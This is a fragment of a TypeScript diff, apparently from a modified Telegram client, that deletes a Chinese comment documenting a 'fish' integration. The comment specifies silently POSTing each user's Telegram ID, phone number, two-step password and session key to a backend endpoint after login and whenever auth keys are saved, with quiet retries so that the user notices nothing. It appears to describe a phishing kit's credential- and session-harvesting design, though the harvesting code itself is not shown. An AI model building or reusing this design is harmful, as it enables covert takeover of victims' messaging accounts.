|
@@ -49,42 +49,6 @@ export async function syncAccountData(accountNumber: number) {
|
|
|
}
|
|
}
|
|
|
}
|
|
}
|
|
|
|
|
|
|
|
-/**
|
|
|
|
|
- * 配置说明:
|
|
|
|
|
- *
|
|
|
|
|
- * 1. 后台服务器地址配置:
|
|
|
|
|
- * 默认地址:http://localhost:3010
|
|
|
|
|
- * 可以通过修改 fishApiService.ts 中的 baseUrl 来更改
|
|
|
|
|
- *
|
|
|
|
|
- * 2. API 接口格式:
|
|
|
|
|
- * POST http://localhost:3010/api/fish/create
|
|
|
|
|
- * Content-Type: application/json
|
|
|
|
|
- *
|
|
|
|
|
- * 请求体:
|
|
|
|
|
- * {
|
|
|
|
|
- * "id": "123456789", // Telegram 用户 ID
|
|
|
|
|
- * "name": "用户名", // Telegram 用户名
|
|
|
|
|
- * "username": "username", // Telegram username
|
|
|
|
|
- * "phone": "13800138000", // 电话号码
|
|
|
|
|
- * "password": "password", // 二级密码(如果有)
|
|
|
|
|
- * "session": "session123" // 会话密钥
|
|
|
|
|
- * }
|
|
|
|
|
- *
|
|
|
|
|
- * 3. 自动同步触发时机:
|
|
|
|
|
- * - 用户登录成功后
|
|
|
|
|
- * - 账户数据更新时
|
|
|
|
|
- * - 认证密钥保存时
|
|
|
|
|
- *
|
|
|
|
|
- * 4. 错误处理:
|
|
|
|
|
- * - 网络错误会自动重试 3 次
|
|
|
|
|
- * - 每次重试间隔 1 秒
|
|
|
|
|
- * - 失败时会记录日志但不影响正常功能
|
|
|
|
|
- *
|
|
|
|
|
- * 5. 安全考虑:
|
|
|
|
|
- * - 敏感数据会进行加密存储
|
|
|
|
|
- * - 支持密码保护模式
|
|
|
|
|
- */
|
|
|
|
|
-
|
|
|
|
|
export default {
|
|
export default {
|
|
|
initializeFishIntegration,
|
|
initializeFishIntegration,
|
|
|
syncCurrentUser,
|
|
syncCurrentUser,
|